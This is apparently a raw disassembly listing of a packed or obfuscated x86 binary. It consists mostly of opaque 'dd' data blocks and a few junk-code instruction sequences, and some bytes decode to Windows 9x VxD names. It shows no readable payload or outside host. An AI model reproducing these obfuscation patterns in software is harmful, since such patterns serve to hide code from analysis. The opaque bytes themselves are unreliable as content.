0B8DD7FB9h dd 7CB9C358h, 3BC3FD32h, 36B78935h, 796EF56Dh, 0D8E11A92h dd 54146A01h, 60792432h, 7A3E9007h, 46792432h, 2F4D9139h dd 0D6000000h, 0B8DD7FB9h, 5C5AEC80h, 0CEAFDCCBh, 0DB733041h dd 3321643Ah, 0CAB57624h, 801B80A9h, 3E4F5AECh, 0A639D971h dd 6FF4DEBBh, 3F67h, 7FB9FC00h, 32B5F3CBh, 72037624h, 24325C1Ch dd 8E0F6876h, 0B806401h, 0E7525A26h, 0C451F92Bh, 249EABEAh dd 11723976h, 0C3B0E980h, 63A5F1A0h, 0F1D75227h, 0E8BED81Dh dd 0E2852142h, 6FF482E7h, 0E11A9279h, 5C48D8h, 80D30000h dd 324346ECh, 585DE775h, 8E44A2Bh, 80F2972Dh, 314E41ECh dd 0CF89E570h, 1D762432h, 5593C92h, 76243340h, 77CEB94h dd 0D86CC848h, 674B1CC8h, 8D53E89Dh, 0D052E095h, 0BC8C2C66h dd 0EC808D16h, 30E54D44h, 0FAFF856Bh, 806FF499h, 0FA2DBE0Bh dd 0DC721C72h, 30DEh, 7CB93500h, 0B80BDC6h, 80E53ECFh dd 54D04010h, 0EF472455h, 0BA0D4826h, 24DF7624h, 0B1392CFBh dd 0D1B2330Eh, 0FF851B80h, 9DF499FAh, 0C9617C03h, 46EC80BEh dd 0DD753243h, 0FFFE8ADFh, 7EB934FFh, 217549DCh, 777C6F7Ch dd 60039D08h, 89B70765h, 2BC55CCBh, 0B3218994h, 7C6F7AF5h dd 16F58A26h, 0E0773040h, 8E426AABh, 0D37B2469h, 0A65416A4h dd 57037C6Fh, 6147BCE8h, 179DDBAAh, 6000000h, 4D44EC80h dd 0F9D77F3Ch, 762432BBh, 2D4F4AE9h, 9A93h, 7EB9F000h dd 32B4F4CAh, 67007624h, 41D86FE6h, 520005AFh, 76243316h dd 6F6DC5A2h, 7C6C3AE2h, 0E1F1720Eh, 0B7C44544h, 42DE49F6h dd 0D4C0A0A7h, 77595629h, 47178E4Ch, 82B782E7h, 3DCF4621h dd 0C7D3B1B0h, 656273Ah, 0B6089F3Dh, 7C72C435h, 0C963F2BDh dd 12832B36h, 92FEF57Eh, 0C7667D06h, 0C5D5DC0h, 218939F6h dd 1B00000Bh, 0A9E5879Ah, 36620E0Bh, 0BAD6B291h, 4945273Ah dd 0A7CCACADh, 774AF6CEh, 0FAE77915h, 6067029Eh, 0E8EF9400h dd 0EAC4DB88h, 7C6F8FAEh, 85E3A43Ah, 0FE8AFBFEh, 79017E75h dd 13905807h, 3FE47414h, 0E5DDE112h, 3Eh, 0DC7EB93Eh, 625C7549h dd 0CFA87C6Ch, 0B7C72358h, 0A0DA94EDh, 0E8778541h, 0D37BF87Fh dd 282FD4A4h, 0D0D75C48h, 8D2EDA3h, 7167039Dh, 0F986F7F2h dd 0C46A0B78h, 52F47D51h, 773082B4h, 0B808E15h, 7A543982h dd 7624913Eh, 6298ED8Ah, 4AF66201h, 0D1790677h, 0DAA6A341h dd 24C9550Ch, 5CD87476h, 9825F55Dh, 0A893FB99h, 2A1B73E2h dd 5B7C7011h, 52233EC1h, 0B2FDFD55h, 0EBF68923h, 0F8841889h dd 793651F9h, 0DA611A82h, 0ECF27F11h, 713E4F5Ah, 0C0DF60F0h dd 0F05CF2B3h, 16Ah, 5AE42D9h, 3318500Eh, 0DBA476A4h, 8AEAB49h dd 57E9807Fh, 0BFF9A9ACh, 0D762432h, 325E1A74h, 0D6A7624h dd 6856268Ch, 0E980C9AAh, 3C33BE52h, 24332A6Eh, 0D4AB5676h dd 0CDAAC6A7h, 332E7765h, 0FFBC7624h, 5629D468h, 1B80E780h dd 0B9C7E05Bh, 58B8DD7Fh, 0C67CB9C3h, 1D935A4Fh, 3562A6A1h dd 0BAFB8889h, 0F5F2953Dh, 4E1DE79Ch, 0F910E75Bh, 92793651h dd 48D8E11Ah, 43h, 0FBDB6821h, 0D7A69FEh, 2EC21B6Ch, 0B91BAC02h dd 80B8DD7Fh, 2432672Eh, 53347376h, 0E2851B80h, 47D970E7h dd 0ABC8B9BCh, 2432BDFBh, 0C66C0B76h, 806FF4BDh, 32D395E9h dd 86E17624h, 1D8230h, 0B9010000h, 80B8DD7Fh, 2432672Eh dd 6D367576h, 0AC57E980h, 73DBD8A9h, 0E7E28550h, 796FF482h dd 0D8E11A92h, 1AF68801h, 742C7402h, 3F7EDEh, 0B9A50000h dd 80BDC67Ch, 0D36B030Bh, 245FBDFBh, 1B6C0B76h, 0F35B0D89h dd 0BD094C22h, 0D2DD7624h, 851B80B1h, 0F499FAFFh, 617C039Dh dd 0EC80BEC9h, 3F795546h, 8D762433h, 0AFCD65E2h, 2Bh, 5AEC8024h dd 2A17E74Fh, 6FE6FB7Bh, 2432591Fh, 9B186776h, 672E80FEh dd 75762432h, 1B806D36h, 4140EC80h, 8E8B29E9h, 676FF4E5h dd 0FFFFFE8Bh, 6127770Eh, 8F762432h, 129DEFE2h, 7EB92BBCh dd 217549DCh, 777C6F7Ch, 1C9D981Bh, 494CF789h, 4CE37A2Bh dd 6F7B3672h, 0B5E5827Ch, 7C6F7AF3h, 0B0EB5C1h, 6C48248Ah dd 296F3FD6h, 0B77C6F7Bh, 6F2BBBC8h, 0E67C6F7Ah, 6A91B774h dd 0B0DBAA5Ah, 10h, 32FD47EBh, 882B7624h, 0C151EF8Dh, 0B6000000h dd 49DC7EB9h, 6C4F9875h, 1C72097Ch, 7C6C4E5Ch, 0BA70F68h dd 0CE62F96Ch, 8882E25h, 920E6A6Dh, 2D631017h, 43DD4812h dd 0C1D4A5A0h, 6C4EABEDh, 0F17E397Ch, 90E2BC59h, 0D882B797h dd 0C65348DFh, 7C37F219h, 846BFC89h, 8BA43989h, 53DE7223h dd 0C5603C5Ch, 0E0DBB5C2h, 0BA14AB3Ah, 762826FEh, 9005ADCAh dd 0C5C067F9h, 715FF7B4h, 7C73697Ah, 76328C23h, 427C6CE8h dd 82ED8D25h, 0FFFA7913h, 6762019Dh, 5CB4B5D8h, 9E0C830Ch dd 7ECh, 0B0D0AF56h, 395B5EE4h, 0ADCFDA6Dh, 107071F1h dd 9BF9F884h, 87231B78h, 14AAE682h, 0B23F6B09h, 22C1DDBFh dd 0F78E4527h, 6F92E1A7h, 0CE59EF7Ch, 8AFBFE85h, 4E0A64FBh dd 9A762433h, 1F6C630Eh, 2886119Eh, 76243270h, 0FF9B337Ch dd 7A007174h, 12915B00h, 3EE57517h, 0ADDDE10Eh, 692F7F16h dd 7776243Eh, 3F1E5A08h, 0CDAA7624h, 2DF965h, 0B9220000h dd 7549DC7Eh, 7C6C3BECh, 306846DDh, 0BC7C6C3Bh, 0C3405FE0h dd 53204F6Bh, 6C3AC183h, 61DE887Ch, 0A906DC47h, 7A06DBh dd 0B99D0000h, 0B749DC7Eh, 27443510h, 0A20809B5h, 20C05CF3h dd 33B0B732h, 0CF8D2542h, 7C6C5A4Ah, 0E27EE996h, 0CEED4540h dd 0A33231B2h, 5F19750Ch, 6D7C6C59h, 5A145402h, 0D1A07C6Ch dd 6C59BBFDh, 0E16E097Ch, 41FD3394h, 4FE73AE5h, 0D9DC6733h dd 3231B24Eh, 0E18E2445h, 5FF694AFh, 0B4ACAE0Fh, 36881F82h dd 76247372h, 1157277Eh, 0DF762474h, 0FFFB53D0h, 0EB8B25B0h dd 83204016h, 0D395E980h, 0E1762432h, 8B3C3086h, 0FAB95952h dd 536F91FFh, 641823FBh, 245B4E0Ah, 9C1D9A76h, 53DE7209h dd 95D8F65Ch, 347C6C6Ah, 0B41A1D98h, 50EC7B04h, 0EC7CD2D5h dd 0E2A4D972h, 18C2FD3Ch, 0AE48318Dh, 0F89442AAh, 6E0F7C7Bh dd 33C90E1h, 16D5CE59h, 8C0E2231h, 0C19D78DEh, 3CE2773Dh dd 0F0F7720Eh, 2C4CE283h, 0BB38D443h, 2BC5DCBCh, 75258D88h dd 4F74CBCEh, 794C6737h, 6520886h, 49E80000h, 0F47E2A76h dd 600793F1h, 0EB8B0765h, 921E8A16h, 81D6FD9Fh, 5C3C3DB9h dd 0C1A3BE40h, 4B2928D5h, 0B3D1D45Fh, 77318D20h, 457C6F94h dd 0FE8520E3h, 0D94C4BE8h, 2432C385h, 0E9961176h, 68770898h dd 0F597A008h, 0B131CB62h, 41543344h, 53D03C10h, 0D785DDFBh dd 0A4C37C6Fh, 2722C5D7h, 5A56E198h, 0AA58D70Ch, 5E8h dd 0BCDCD352h, 254742E0h, 0A9CBD669h, 1C7C75FDh, 87E5E480h dd 832F177Ch, 10B6E28Eh, 0BE3B5735h, 26CDD9BBh, 0FB924123h dd 6F94E5A3h, 0BA6DF37Ch, 49DC7EB9h, 329CDCB2h, 4F287624h dd 0FE502EE7h, 4A7C6F7Bh, 0CABBB63Eh, 485F2CADh, 0A10908B4h dd 0C5606EF1h, 0D35051D1h, 542BD6A2h, 0D89756D7h, 0EE0C5A22h dd 57E8131h, 3DC40000h, 0A84A4622h, 4CD3CFADh, 0DF673351h dd 4EEAA6C2h, 0AD0A294Bh, 88E8E995h, 0FD9F8A1Ch, 670504A1h dd 0EF8D882Bh, 4B0D6174h, 997C6F96h, 0E9805CC7h, 2432D395h dd 0ED86E176h, 0B7473831h, 0CDA109FFh, 0E1BD28F2h, 7C701389h dd 2A24BBD7h, 0BCFD8A89h, 0B7324E3Fh, 25A2C3B0h, 159F31A4h dd 0AC026310h, 0FFEA7D0Fh, 599B2540h, 0FE6C230Ch, 50Ch dd 0D0B08F36h, 593B3EC4h, 0CDAFBA4Dh, 305051D1h, 0BBD9D864h dd 67033B98h, 0F48A0662h, 921F8BE9h, 2A1FD9Fh, 0D7EE6507h dd 6F95C187h, 0EEB90F7Ch, 4DE8FE85h, 0CC13A8BEh, 0F8C4C3Ch dd 0EDA6F18Eh, 1999453Ah, 790A6B18h, 882EC29Eh, 247A6B08h dd 76250764h, 0F9B63770h, 724CE3F2h, 76250836h, 0CD77E582h dd 0B36862C8h, 58CFCA69h, 0F306C8C1h, 0F52BD32h, 2478195Fh dd 72D8A776h, 0BAB93A56h, 2A14762Bh, 85AD4320h, 1DFCBC12h dd 0AFC87625h, 9BDA6807h, 0D876251Dh, 78FB219Eh, 84BF1F7Dh dd 2BBD4FC6h, 0A1FD983Eh, 7C7066C1h, 3BD5402Fh, 0D08AAA4h dd 0DD6F268Ch, 65315356h, 0E2AADBDEh, 8A433D9h, 53C26877h dd 0BB1EEA7Bh, 0E6713E82h, 0A2E6B84Fh, 2E76251Dh, 1D571141h dd 0EE657625h, 1EBD5CDh, 0EC42C3A3h, 0E9EC9729h, 91941F8Bh dd 0C993ACE0h, 58E5005Eh, 0DFD47C6Dh, 9C1959BAh, 0BD5BE89Dh dd 0C65237Bh, 34737C6Dh, 14931FB7h, 5C90F2A9h, 0DB4BC40Ch dd 3F0h, 0B4D4AB4Ah, 3D5F5AD8h, 0A1C3DE61h, 14744DF5h dd 9FFDFC78h, 9B271F74h, 18AEFA86h, 0B6336F0Dh, 3EC5D1B3h dd 0F38A593Bh, 6F96DD9Bh, 0B255EB7Ch, 4E41EC80h, 8C8B28E8h dd 1506ADFFh, 2432FFB9h, 25A2CD76h, 32B24E47h, 89214E3Fh dd 0D5400A35h, 6C4554F9h, 0F3E3907Ch, 2A5A015Dh, 7591739Eh dd 0D0961000h, 0D0942253h, 7B7C6C34h, 0CF3410CFh, 15DBA910h dd 4Bh, 0CF7EB98Eh, 35A02124h, 6C405059h, 63009C7Ch, 0E9961764h dd 3F8ACA98h, 15C17C6Ch, 3857E56h, 7F16DBA9h, 33D296E8h dd 911E7C6Ch, 6C3387C1h, 3613B57Ch, 49953D7Ah, 0B5h, 83086B20h dd 1BDD22Ch, 9512637Eh, 8025BE14h, 32D395E9h, 86E17624h dd 0C4C36030h, 5859E5B7h, 0DFDA592Bh, 5251D2AEh, 371F9836h dd 0A84B7624h, 50D3CFADh, 0BA512455h, 2436A4E4h, 0E5773076h dd 1CF04643h, 90EE7923h, 7C6C66CDh, 9AF29E19h, 126CFBA1h dd 82B7021Dh, 0BC53C2ADh, 2A809F20h, 0ADCFC26Eh, 0C97475F1h dd 12A2DB98h, 0C941F1AEh, 73000002h, 19DFFF2h, 8E1A6663h dd 128EEAF9h, 0A1FD9F92h, 5F640405h, 0AFA24E76h, 524FD1CDh dd 0D8DF5A36h, 4047ECB8h, 421CB320h, 7C6F9806h, 859B0CD2h dd 0C98F8F9h, 0BCF56067h, 40EF06C9h, 9E2A8010h, 0DC7EB9F5h dd 59885049h, 0B2A432ACh, 9425791Ch, 407C6D33h, 4A3F5627h dd 7ABBEF7Dh, 0F6E44A0Ah, 7C6CBFAEh, 527229A5h, 0DBA983A9h dd 0E673h, 0B80A800h, 821877DCh, 2CEC4231h, 0A1F38087h dd 0FF910405h, 62037075h, 0DC7251F6h, 9D880FDFh, 0B3307624h dd 136821B4h, 1478211Eh, 0CFC6E248h, 0B6226638h, 0C1AE7624h dd 1C0AA969h, 85E29396h, 0B5FCBC12h, 0AFC87624h, 9D25B72Eh dd 0CEA0F784h, 7624B58Ah, 2A82956h, 0F98E2275h, 8C1C9DEAh dd 0F549E1E0h, 0FE9500CAh, 262D1285h, 33636E61h, 76245B75h dd 39532443h, 0B8C77FB0h, 8AE4B119h, 7C6D41C3h, 90F898E7h dd 7550F6A7h, 48F56704h, 15DC849h, 82B7C4AFh, 8923B2FDh dd 108CECEDh, 5D2A9594h, 5B12A319h, 1AA36A4h, 11900000h dd 9C26721Eh, 18AFFB99h, 0B3336F0Dh, 3AC6D2BEh, 593E4527h dd 0A4C4C561h, 294B56E8h, 93F1F07Dh, 1B797C07h, 1F593548h dd 0AD7C6F9Ah, 0F985881Bh, 670C98F8h, 85630060h, 0FE8AFBFEh dd 83127E75h, 3E4F4AE9h, 40C1DC62h, 0E5FECF37h, 47EF92DDh dd 970ECCF7h, 6C403AC7h, 1E89F67Ch, 90E1FC82h, 6E2A8413h dd 7A7C6C3Fh, 48E6953Dh, 7C6C400Ch, 0F0D48B47h, 0DBA91F0Bh dd 3AD1h, 4D21B800h, 7C6C380Bh, 6F78DED9h, 0F4CA7EB9h dd 762432B4h, 9EF06700h, 762432DAh, 8D1899E6h, 6C4DB431h dd 1667007Ch, 6C4DFCB8h, 249B577Ch, 0A9151B00h, 39C1DBh dd 475A0000h, 762432FEh, 0F86F2D16h, 334B0D61h, 0BB9E7624h dd 2D35F9EAh, 14BAC5B7h, 0B056EA81h, 6FC7A4D5h, 6CCCB461h dd 2547207Ch, 5554D06Ch, 12FCB324h, 0D39C1138h, 0B9EBFC52h dd 7549DC7Eh, 7C6C6414h, 0D8760760h, 7C6C629Ch, 5B2837C8h dd 0D1AEAB49h, 1BC1BE30h, 0F419869Bh, 78A3857Ah, 0A2DBA922h dd 18h, 44EC80F9h, 0ADF7E54Dh, 0E7762432h, 0D7A73EDCh dd 7C6C611Eh, 24CFADCAh, 49DC7EB9h, 6F7CB575h, 0F164037Ch dd 74DAD75Fh, 3B7B3047h, 1A099EEEh, 0A2042269h, 0E0E78C0Ch dd 7E6F1480h, 6FC66820h, 8A0B747Ch, 321F6DFDh, 0EFCA842h dd 15158E51h, 33F82386h, 0DB662C8h, 970A4E20h, 0A9D6A3BDh dd 0C15E8DCh, 0B63710B5h, 3E35BEEAh, 0BEB33341h, 0D79446C1h dd 163660Dh, 0A1FDEE95h, 0A3BDB9E7h, 7C0D8AF5h, 3CEh, 0DA414500h dd 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h dd 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh, 5A7068B9h dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 57240C89h, 0C781E789h, 4 dd 4EF81h, 3C870000h, 14895C24h, 0BE565324h, 19E94873h dd 58CE8146h, 811F3B7Ch, 0A777BFCEh, 26CE812Eh, 8104DD5Bh dd 0DF3009EEh, 5EF38931h, 2AFA6BB9h, 5BD901F8h, 24148B54h dd 5304C483h, 8BE56h, 0F3890000h, 89D3015Eh, 148B5B0Bh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_541331 ; --------------------------------------------------------------------------- dd 68E4B8D0h, 0C503064Bh, 0D3E6E0FFh, 361D5583h, 0F383066Fh dd 45A716ECh, 1CF2A26h, 0F5B33C30h, 0BECC5C37h, 213C31F2h dd 523F24CAh, 30A640B3h, 94FF4422h, 80560A6Fh, 57E04C6h dd 0B3406C62h, 1F80508h, 83A27C7Bh, 73AC1BFBh, 53EE65ABh dd 296A3194h, 80B73603h, 0B8464BD3h, 0C78C488Ch, 35E3AB4h dd 11E82AFEh, 1E000000h, 0F4D1F33Bh, 9F10DD5Bh, 424665B7h dd 4761105Fh, 0EE960h, 33F40000h, 0BCFD880Dh, 0F470AFA9h dd 822D09A8h, 61D7BF0Fh, 9E9605Bh, 43000000h, 12C8CB34h dd 0C3FB4873h, 14E9h, 7D727100h, 5C69F25Ch, 8B80163Eh dd 0E47FDBEFh, 2FD0B3B3h, 0C3816100h, 67D4h, 63BEC18Bh dd 8139D466h, 0D47FA3F6h, 0DEB96639h, 0E8138BB9h, 0Ch dd 498F2C32h, 0DDB15E3h, 4F2B03C0h, 585ADD80h, 8F24F281h dd 0A6B955E2h, 81219589h, 1283A6EAh, 0D1816618h, 0F281A21Ah dd 6BA9ADC6h, 5BBF6651h, 13895F69h, 6E8h, 0B2F5DA00h, 5F04AC40h dd 6604EB83h, 814DD1BFh, 1EEh, 0A6850F00h, 60FFFFFFh, 68B0Fh dd 820F0000h, 0 dd 4269EE81h, 0EB614F42h, 5AAD4B04h, 611E95Bh, 0DD640000h dd 48EAA6C2h, 0EC732F4Dh, 7F0793F1h, 0EE8A0662h, 0D6A89EBh dd 0E8888935h, 5D3F2ABCh, 0C7A5A441h, 4F2D28CBh, 0EBAD0194h dd 0F97C6F9Ch, 0FE85BC67h, 0BA376CFBh, 3C3FE59h, 12EF9705h dd 1AE0465h, 96F2F773h, 0D7A79FAh, 80F1F47Fh, 588372F0h dd 99E9C2Ch, 0C1226638h, 0C1AE7624h, 504FD040h, 0D38FA2D3h dd 383FC46Ch, 0BDA14C58h, 84852137h, 7809B6F7h, 0C2DEBA3Bh dd 0A7AC3327h, 24C091D7h, 0D3505F76h, 0B1572552h, 542520C7h dd 3ED9D657h, 9825CFBCh, 4AFFB99h, 701D9601h, 33CA84B8h dd 7007B41Ah, 7F105C3Bh, 0E380F1F4h, 0F492E296h, 2437DE9Ah dd 0C8DEA76h, 376D28A6h, 68E27624h, 0B6E95B3h, 62B4DDE1h dd 0EF000000h, 8AFBFE85h, 24327A3Ch, 0C9C2D576h, 0D911D1E3h dd 0AC9EEB3Dh, 956CC845h, 27E4D67Ch, 0E10C1A01h, 8C0DDh dd 17A90000h, 9819966Bh, 0FF859132h, 75FF8DFAh, 554EE570h dd 9E6BDF4Dh, 38702E92h, 84762438h, 542453FBh, 83FB21ACh dd 2045A039h, 239FD2A3h, 0B0EB47Ch, 0A0B63D69h, 0E4840504h dd 0F8F9855Fh, 7E7BF98Bh, 58077901h, 77151490h, 0EC9D981Bh dd 6F1C0B9Ch, 0E390911Dh, 64151491h, 0E92E9D4Dh, 36189104h dd 4A4F429Ch, 60E1FC82h, 0FD2B90CAh, 0DDE15E16h, 100CCh dd 0F9855700h, 66F98BF8h, 0E87E0A7Bh, 74FC8CFDh, 41CEC56Eh dd 3BDF8730h, 0EEFEDE15h, 0D91ECD81h, 92EC8312h, 7624CBD6h dd 7D3B93E2h, 4B7624CBh, 0AB3DAF2Ch, 0AA0C1BEh, 0A844EB50h dd 317E0F0Ah, 7C7DF999h, 0E5E4801Ch, 24433972h, 0FE08EE71h dd 0B0CB8485h, 369C7D4Ch, 757EEB9h, 76244E41h, 0C993148Fh dd 787068A1h, 3FC753FBh, 0BB475522h, 3FBBC9A6h, 0BC2C4D3Ah dd 0F492536h, 0DD76245Ah, 0B32455D2h, 1BA9E48Bh, 7B35AD84h dd 30A24F84h, 4B65D4Bh, 996CDDE1h, 45000000h, 9C0B0EABh dd 245086C2h, 0FD555276h, 95E980EAh, 762432D3h, 603086E1h dd 0E4B4C5C4h, 38CF4659h, 24332266h, 0ABA64E76h, 0C0AFDDDAh dd 0D9CC4D6Ah, 0C2F7B6A0h, 1641BE33h, 0D2DDD6C9h, 0EEAA041Ah dd 0FA7624AFh, 0AC3CBDh, 9B337001h, 19B37A21h, 78308E99h dd 447624AFh, 8414BA3Bh, 4A49EAF8h, 9DFF7C3Dh, 0FAFF85F6h dd 32783D8Dh, 4AC7624h, 4CB7C0Dh, 0C3243045h, 0B68934A4h dd 2F9C5EF9h, 9E4D0116h, 6A005A4Fh, 67126534h, 8B44BFCFh dd 19EDDE1h, 5000000h, 48F4E285h, 0FA7B3849h, 0DD66FA8Dh dd 62C8A9C6h, 79360DB6h, 0F889942Bh, 7F0C0BA8h, 0D98674h dd 0E236F565h, 4A224E5Dh, 0A53CAB71h, 32F8B00Eh, 0BBC47624h dd 47144513h, 53C07C6Ch, 9BCDDEA7h, 0DFAC2D8Dh, 412326CDh dd 0BB9A5B50h, 0DFB00DDEh, 1D189B77h, 1A98DE6Ch, 64337C6Dh dd 0C760B12Fh, 0C56D065Bh, 7709D48Bh, 0F484F5D0h, 7D3A4B4Eh dd 39BA56FCh, 0EDB9C7CEh, 31A34B21h, 6B09B6B3h, 0C0B1B43Fh dd 473433B0h, 3A1D963Fh, 17ED7E70h, 0D7DD150Bh, 686C6EA2h dd 6C5E5216h, 90119E7Ch, 14DB803Ah, 8DFAFD78h, 70834418h dd 1D9A7D4Ah, 5B5EE5B5h, 0FDD16839h, 7C6C4DBBh, 76F26E09h dd 58C3DB73h, 82DBA915h, 182h, 95E98019h, 762432D3h, 88C76CE6h dd 0B8C867F8h, 304140ECh, 805CF273h, 2C8215B7h, 7C6C70E9h dd 8C23B2FDh, 6C707632h, 8D25427Ch, 121192EEh, 89991A76h dd 7A7FFBE9h, 0B0E97CFDh, 0F940E734h, 5463CB8Ch, 0EABBF44h dd 862E7A0Bh, 0FC8D0A8Bh, 0C817D4A6h, 0C7B49334h, 0E38010A6h dd 0FB3871E4h, 5F52DE74h, 0CB270B2Ah, 6CA3B5F3h, 0E764037Ch dd 0CB62334Fh, 6CA3B5F3h, 0FD8E047Ch, 51358FAAh, 0DEEE4423h dd 0DBA96C25h, 6AFFh, 0B93AD600h, 8D982EBAh, 0E9808225h dd 2432D395h, 0F295E176h, 6CC09617h, 4B23B250h, 7624335Dh dd 0E4A4FA8Bh, 0F0762432h, 0E97936B7h, 762432AFh, 225356DDh dd 333D7B53h, 0EC8B7624h, 96E8F17Ch, 762432D2h, 6310911Eh dd 4DD8238h, 0B65E0DBDh, 15DC88Ah, 76243397h, 0F0AA9C5h dd 0F985178Eh, 44EA8BF8h, 8C8A24h, 0B9090000h, 7549DC7Eh dd 7C6C4EBCh, 407856EDh, 8C7C6C4Eh, 402F4BE3h, 0DE2F6433h dd 6CCC1A1Eh, 59DAB61Ch, 0C1623E5Ah, 0E2BC53C2h, 7C6C5DA6h dd 0DEDD7532h, 0B69335C7h, 5EF1B220h, 0A02A7C6Ch, 0B7B231FBh dd 10BA85D5h, 0C8432985h, 0C6A182B7h, 3130BD4Fh, 0F18B1A99h dd 7D007574h, 0AB7FBB68h, 8A29E941h, 9B57FE8Fh, 0DC67F924h dd 0AC2D28CAh, 0A478DEDFh, 0CF66F19Bh, 0C0B1B03Dh, 0DF4D0BA3h dd 57C7389h, 8BDA6D8Eh, 0A724A1A4h, 7EB93EC5h, 77549DCh dd 0B87C6F9Eh, 0EE969C24h, 84056213h, 7F5C39F3h, 67CFF4FDh dd 0BFB23F4Bh, 0F380812Dh, 344435B2h, 61B9B8Fh, 0E98B0869h dd 423336BDh, 81B1B8F4h, 821EB5D9h, 1495E2E1h, 905F0CBEh dd 0B1E3A5F9h, 0B6F1D17Eh, 0F4F37020h, 7C7BF894h, 0FCF57D0Fh dd 954A088Fh, 0C3A1A44Fh, 58292CD7h, 3AAh, 0DA412900h dd 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h dd 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh, 0E18951B9h dd 4C181h, 0BB530000h, 4, 875BD929h, 685C240Ch, 73BAh db 89h, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebx push 12F353E0h pop ebx dec ebx push ecx mov ecx, 1EA24315h or ecx, 2A43B48h shl ecx, 4 not ecx shr ecx, 2 sub ecx, 659429B2h add ecx, 53862E29h add ebx, ecx pop ecx mov edi, ebx pop ebx push esp mov edx, [esp] add esp, 4 push eax mov eax, 8 add eax, edx mov [eax], edi mov eax, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_541331 ; --------------------------------------------------------------------------- db 98h dd 0B8452AA5h, 64B705Ch, 0E0FFC503h, 3979B755h, 30ABFCE4h dd 35E87411h, 4268408Ch, 6A43CE93h, 59DBDDCFh, 5AB6094Fh dd 4D55DB1Dh, 6664C2B2h, 13F5B7B8h, 66504C2Dh, 60115BFBh dd 4FDF3C76h, 2104855Eh, 2A1667F4h, 750EBB2Eh, 354E9794h dd 600BE693h, 464934EBh, 52474D53h, 4B562020h, 20202044h dd 4D562020h, 2020204Dh, 57562020h, 32334E49h, 58562020h dd 52444C44h, 2020h, 2 dup(0) dd 99E90000h, 60000007h, 6061F8F9h, 0CE960h, 571F0000h dd 0BA8FC788h, 51354D7Fh, 72B0BC94h, 6D85C761h, 64B71h dd 0E9000000h, 11h, 0FC907BDDh, 0C3BD48D5h, 96B0301Ch dd 0FCC79F60h, 6AC68B22h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 8A98C356h, 0E5C804A5h dd 1860Fh, 0FF90000h, 8E9D8B7h, 7D000000h, 3B9CFB63h, 0C1D46CA9h dd 6A10E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 43B374C3h, 1890Fh, 66F90000h, 6A08C8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0C1F9C352h, 2ADD052Bh, 0D6B4AFEDh, 8D0F60F9h dd 6, 0E1DF81h, 8961052Fh, 4B717185h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 60F4E3B2h, 7E9h, 0A6840100h, 406420A6h, 0BE68166h, 0C166617Ch dd 6A08CBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0A2BEE3C3h, 2CA78A82h, 83F5C332h, 850F40FBh dd 6Bh, 7800Fh, 8B0F0000h, 1, 45BD8DFCh, 6A064B71h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 6A0EC357h, 0E9FC2D57h, 1B6h, 16870Fh, 11E90000h, 0A9000000h dd 0A8F470AFh, 5B822D09h, 9C066C93h, 0B7AF6654h, 0BE960h dd 907E0000h, 0CC7BE979h, 0F2442EE4h, 0EB816681h, 8361BE9Fh dd 850F0DFBh, 7Eh, 0DABF0F60h, 2850Fh, 0CB8B0000h, 4DBD8D61h dd 6A064B71h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 28ABC353h, 20F8DE34h, 0F96D46C6h dd 13DE9h, 5E86000h, 9000000h, 57994A95h, 0FE8h, 1C8BAF00h dd 1633E7B8h, 0AEA823A3h, 834C277h, 0D080585Bh, 0E9606191h dd 0Ah, 73E3BFC1h, 0C3B56DABh, 820FBF54h, 5, 0C609E7BBh dd 0FB836141h, 64850F01h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0E18CC350h dd 79B617F5h, 0D8C0Fh, 8E90000h, 4B000000h, 931CD428h dd 8D58FB5Fh, 4B7155BDh, 5E906h, 564A0000h, 0FCDAB13h dd 1081h, 0A8D0F00h, 0E9000000h, 5, 0EAFDD6EFh, 94E933h dd 0B7600000h, 8361F556h, 850F2AFBh, 61h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4DC35545h, 6D0DB6D3h dd 0F4466F97h, 0AE956h, 0C6520000h, 66EF60h, 0B84A2A68h dd 715DBD8Dh, 0F860064Bh, 44E961h, 840F0000h, 19h, 14E9h dd 0BF15DF00h, 17C28017h, 72F442ADh, 78A99F22h, 0F88B9B93h dd 27FB83C7h, 2CF850Fh, 60600000h, 8C0Fh, 81660000h, 6106F0E2h dd 92EA8166h, 0BD8D6164h, 64B7165h, 0BD89F8F8h, 64B7175h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C6C35141h dd 0DA213421h, 0F8D7A225h, 81665060h, 5BE389CFh, 0C88C6661h dd 1F8E0Fh, 820F0000h, 19h, 14E9h, 264E4200h, 7852BF6Ah dd 72FADF2h, 0B4D78D39h, 0B09F331Eh, 7E92Fh, 67ED0000h dd 7610BEE1h, 60032495h, 0F6C78166h, 11E8D8h, 493B0000h dd 40EC2307h, 0C517AAA6h, 0FFD1AC5Bh, 80D3A6EBh, 615F04D9h dd 850FC00Ah, 188h, 98B58DFCh, 0F064B77h, 78Ah, 58516000h dd 61D68B66h, 8820Fh, 850F0000h, 2, 858B6160h, 64B7892h dd 